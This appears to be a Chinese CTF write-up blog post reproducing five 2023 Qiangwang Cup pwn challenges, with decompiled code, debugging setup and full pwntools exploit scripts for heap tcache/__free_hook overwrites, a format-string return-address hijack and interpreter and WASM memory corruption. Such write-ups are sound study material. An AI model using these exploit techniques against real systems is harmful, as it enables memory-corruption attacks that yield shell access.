23强网杯_pwn复现
chatting
检查保护
➜ chattting ldd chatting
linux-vdso.so.1 (0x00007ffc5d9b4000)
./libm-2.27.so (0x00007fe98b400000)
./libstdc++.so.6 (0x00007fe98ae00000)
./libgcc_s.so.1 (0x00007fe98aa00000)
./libc-dbg-2.27.so (0x00007fe98a600000)
./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007fe98bb60000)
➜ chattting checksec chatting
[*] '/home/ubuntu/CTF/PWN/titiititti/2023强网杯/chattting/chatting'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
调试发现,add之后 meseege 会给add的堆快写值,大小为content的大小,messeege相当于是个edit(个人认为),所以可以往add的堆快写较大的值free进 unsortbin 来泄露libc地址。 对了 read 也就是show,只能看第一个堆快的内容。
messeege 往 不存在的堆快发送内容会进行malloc 和 free。尝试了9次 可以分别写进tchach大小的堆快,刚好可以保留最后一个free_hook,之后再add出来,写入system
main():
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
int v4; // ebx
__int64 v5; // rax
size_t nbytes; // [rsp+0h] [rbp-90h] BYREF
void *buf; // [rsp+8h] [rbp-88h]
char choice[32]; // [rsp+10h] [rbp-80h] BYREF
char To_usr[32]; // [rsp+30h] [rbp-60h] BYREF
char usr[40]; // [rsp+50h] [rbp-40h] BYREF
unsigned __int64 v12; // [rsp+78h] [rbp-18h]
v12 = __readfsqword(0x28u);
sub_4202(qword_211280, 0xC8uLL);
sub_3694((__int64)&unk_211048, 0x2000u);
sub_3694((__int64)&unk_211170, 0x2000u);
add();
do
{
std::operator<<<std::char_traits<char>>(
&std::cout,
"Choose action (add, delete, switch, message, read, listuser, exit): ");
std::string::basic_string(choice);
std::operator>><char>(&std::cin, choice);
if ( compare((__int64)choice, (__int64)"add") )
{
add();
}
else if ( compare((__int64)choice, (__int64)"delete") )
{
delete();
}
else if ( compare((__int64)choice, (__int64)"switch") )
{
switch();
}
else if ( compare((__int64)choice, (__int64)"read") )
{
show();
}
else if ( compare((__int64)choice, (__int64)"listuser") )
{
listuser();
}
else if ( compare((__int64)choice, (__int64)"message") )
{
std::operator<<<std::char_traits<char>>(&std::cout, "To: ");
std::string::basic_string(To_usr);
std::operator>><char>(&std::cin, To_usr);
std::operator<<<std::char_traits<char>>(&std::cout, "Message size: ");
std::istream::operator>>(&std::cin, &nbytes);
buf = (void *)operator new[](nbytes);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Content: ");
std::ostream::operator<<(v3, &std::flush<char,std::char_traits<char>>);
read(0, buf, nbytes);
std::string::basic_string(usr, To_usr);
copy_func((__int64)usr, (__int64)buf);
std::string::~string(usr);
std::string::~string(To_usr);
}
else
{
if ( compare((__int64)choice, (__int64)"exit") )
{
v4 = 0;
goto LABEL_18;
}
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Invalid action!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
v4 = 1;
LABEL_18:
std::string::~string(choice);
}
while ( v4 == 1 );
return 0LL;
}
exp:
# coding=utf-8
from pwn import *
elf = ELF("./chatting")
libc = ELF("./libc-dbg-2.27.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#context.terminal=['tmux', 'splitw', '-h']
p = process(["./chatting"])
def add(username):
p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"add")
p.sendlineafter(b"Enter new username:", str(username).encode())
def delete(username):
p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"delete")
p.sendlineafter(b"Enter username to delete: ", str(username).encode())
def switch(username):
p.sendlineafter("Choose action (add, delete, switch, message, read, listuser, exit):", b"switch")
p.sendlineafter("Enter username to switch to:", str(username).encode())
def message(to, content):
p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"message")
p.sendlineafter(b"To:", str(to).encode())
p.sendlineafter(b"Message size:", str(len(content)).encode())
p.sendafter(b"Content: ", content)
def read():
p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"read")
def listuser():
p.sendlineafter(b"Choose action (add, delete, switch, message, read, listuser, exit):", b"listuser")
# gdb.attach(p,'b *$rebase(0x3071)')
# pause()
# p.sendlineafter('Enter new username: ',str('aaaa'))
# read()
# message('aaaa','1111')
# read()
# add('bbbb')
# read()
# message('bbbb','2222')
# read()
# add('cccc')
# read()
# message('cccc','3333')
# read()
# delete('bbbb')
# read()
# delete('aaaa')
# read()
# delete('cccc')
# read()
p.sendlineafter('Enter new username: ',str('aaaa'))
add("/bin/sh")
message('aaaa','1'*0x500)
message('/bin/sh','/bin/sh')
delete('aaaa')
read()
p.recvuntil('aaaa: ')
libc_base = u64(p.recv(6).ljust(0x8,'\x00')) - 0x3afca0
info("libc_base==>" + hex(libc_base))
for i in range(9):
message('cccc', p64(libc_base + libc.sym['__free_hook']))
add('aaaa')
message('aaaa', p64(libc_base + libc.sym['system']))
delete('/bin/sh')
# gdb.attach(p)
p.interactive()
ez_fmt
只有一次格式化字符串漏洞利用
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("There is a gift for you %p\n", buf);
read(0, buf, 0x30uLL);
if ( w == 0xFFFF )
{
printf(buf);
w = 0;
}
return 0;
}
劫持printf的返回地址,也就是说在 w 被置零之前,将返回地址(stack_addr-8)写成 start 。 这里start 地址为 0x4010B0。所以只用后面写两字节就行,然后就是劫持返回地址了。
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
p.recvuntil("0x")
stack_addr = int(p.recv(12),16)
info("stack_addr==>" + hex(stack_addr))
# gdb.attach(p)
# pause()
payload = "%4272c" + '%8$hn' +"%19$p" + p64(stack_addr - 8)
p.sendline(payload)
p.recvuntil('0x')
libc_base = int(p.recv(12),16) - 0x270b3
info("libc_base==>" + hex(libc_base))
# gdb.attach(p)
# pause()
p.recvuntil("0x")
stack_addr2 = int(p.recv(12),16)
info("stack_addr2==>" + hex(stack_addr2))
ret_addr = stack_addr2 + 0x68
one_gadget = libc_base + [0xe6aee,0xe6af1,0xe6af4][1]
info("one_gadget==>" + hex(one_gadget))
ogg_high = one_gadget >> 16 &0xff
ogg_low = one_gadget & 0xffff
print(hex(ogg_high))
print(hex(ogg_low))
gdb.attach(p)
pause()
payload = '%'+str(ogg_high) + 'c%10$hhn'
payload += '%'+str(ogg_low - ogg_high) + 'c%11$hn'
payload = payload.ljust(0x20,'\x00')
payload += p64(ret_addr + 2) + p64(ret_addr)
p.sendline(payload)
p.interactive()
simpleinterpreter
exp:
# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
code = """
int main() {
char* p1;
char* p2;
p1 = malloc(0x500);
p2 = malloc(0x10);
free(p1);
free(p2);
printf("%s", p1);
read(0, p2 ,8);
p2 = malloc(0x10);
p2 = malloc(0x10);
read(0,p2,20);
free(p2);
return 0;
}
"""
p.sendafter("Code size:", str(len(code)))
p.sendafter(" Please give me the code to interpret: ", code)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x3ebca0
info("libc_base==>" + hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
p.send(p64(free_hook - 8))
p.send('/bin/sh\x00'+p64(system))
gdb.attach(p)
p.interactive()
minipy
手动调试题目过程
先把要用的 netcat 和 gdbserver 拷贝进去:
docker cp ./tools/gdbserver 735419da8cdf:/home/ctf/
docker cp ./tools/netcat 735419da8cdf:/home/ctf/
起第一个终端,进入容器,映射要调试的程序到 8888 端口
➜ minipy docker run --privileged -it -w /home/ctf --net=host 861bb3d380d0 /bin/bash
root@cosy:/home/ctf# ls
bin dev flag lib lib64 minipy
root@cosy:/home/ctf# ./netcat -lvp 8888 -e ./minipy
Connection from 127.0.0.1:42918
起第二个终端,nc上去
➜ minipy nc 127.0.0.1 8888
Welcome To Minipy!!!
Try 'help' for more information, 'exit' to quit
>>>
起第三个终端,进入容器,gdbserver 附加进程并监听 9999 端口
➜ minipy docker exec -it -w /home/ctf 735419da8cdf /bin/bash
root@cosy:/home/ctf# ./gdbserver :9999 --attach 40
Attached; pid = 40
Listening on port 9999
起第四个终端,进入gdb调试
gdb ./minipy
target remote :9999
➜ minipy gdb ./minipy
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.2) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 156 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break)
Reading symbols from ./minipy...
------- tip of the day (disable with set show-tips off) -------
Use the spray command to spray memory with cyclic pattern or specified value
pwndbg> target remote :9999
exp:
# coding=utf-8
from pwn import *
context.log_level = 'debug'
r = remote("127.0.0.1", 8888) # nc 连接远程程序
gdb.attach(target=("localhost", 9999), exe="./minipy", gdbscript="dir ~/Desktop/minipy\nb *$rebase(0xAD06)\nb *$rebase(0x4DA8)\nc") # gdb 连接 docker 中的 gdbserver 调试 ./pwn
pause() # 阻塞脚本直到 gdb 成功连接 gdbserver防止程序跑飞
libc = ELF("./libc-2.31.so")
u2d = lambda value: struct.unpack('d', p64(value))[0]
def num_to_eval(value, adjust=0):
value = repr(u2d(value)).split('e')
return '{}{}*pow(10,{})'.format(value[0], adjust, value[1])
r.sendlineafter(">>> ", "s = 'a'")
r.sendlineafter(">>> ", "s.substring(-0x201+0x10+0x38,0)")
r.recvuntil('"')
libc.address = u64(r.recv(6).ljust(8, '\x00')) - 0x1ecbe0
log.info("libc base: " + hex(libc.address))
r.sendlineafter(">>> ", "r=xrange(10)")
r.sendlineafter(">>> ", "a = [1]")
log.info("gets addr: " + hex(libc.sym['gets']))
r.sendlineafter(">>> ", "a.insert(-0x52c-1, {})".format(num_to_eval(libc.sym['gets'], 4)))
r.sendlineafter(">>> ", "getattr(r, 0)")
sleep(1)
r.sendline("/bin/sh")
r.sendlineafter(">>> ", "b = [1]")
r.sendlineafter(">>> ", "b.insert(-0x591-1, {})".format(num_to_eval(libc.sym['system'], 4)))
r.sendlineafter(">>> ", "getattr(r, 0)")
r.interactive()
WTOA
分析 launch.sh 可知 wtoa 是使用 wasmtime 运行的。
github 上搜索 wasmtime 找到了对应的项目。安装项目上 RADEME.md 的提示安装 wasmtime 。 11.0.1 版本
exp:
from pwn import *
context.log_level = 'debug'
p = process("./wasmtime run --env FLAG='flag{this_is_a_flag}' --disable-cache --allow-precompiled ./wtoa".split(' '))
def add_note(content):
p.sendafter("Choice > ", "A")
p.sendafter(">", str(len(content)))
p.sendafter(">", content)
def edit_note(index, offset, length, content):
p.sendafter("Choice > ", "E")
p.sendafter('>', str(index))
p.sendafter('>', str(offset))
p.sendafter('>', str(length))
p.sendafter('>', str(content))
def delete_note(index):
p.sendafter("Choice > ", "D")
p.sendafter('>', str(index))
def show_note(index, offset, length):
p.sendafter("Choice > ", "S")
p.sendafter('>', str(index))
p.sendafter('>', str(offset))
p.sendafter('>', str(length))
add_note('a' * 0x10)
add_note('b' * 0x40)
# gdb.attach(p, "search " + 'a' * 0x10) # watch *(char*) addr
# gdb.attach(p, "b *(0x7ffff7bf7000+{})\nsearch {}\nc".format(hex(0x18CA), 'a' * 0x10))
# gdb.attach(p)
# pause()
edit_note(0, 0, 0x345231, 'a' * 0x10 + p64(0x1300000000) + p64(0x501ce800501ca8) + p64(0x1b00000000) + p64(0x501c68))
show_note(1, 0, 0x40)
p.interactive()

QAQ~
浙公网安备 33010602011771号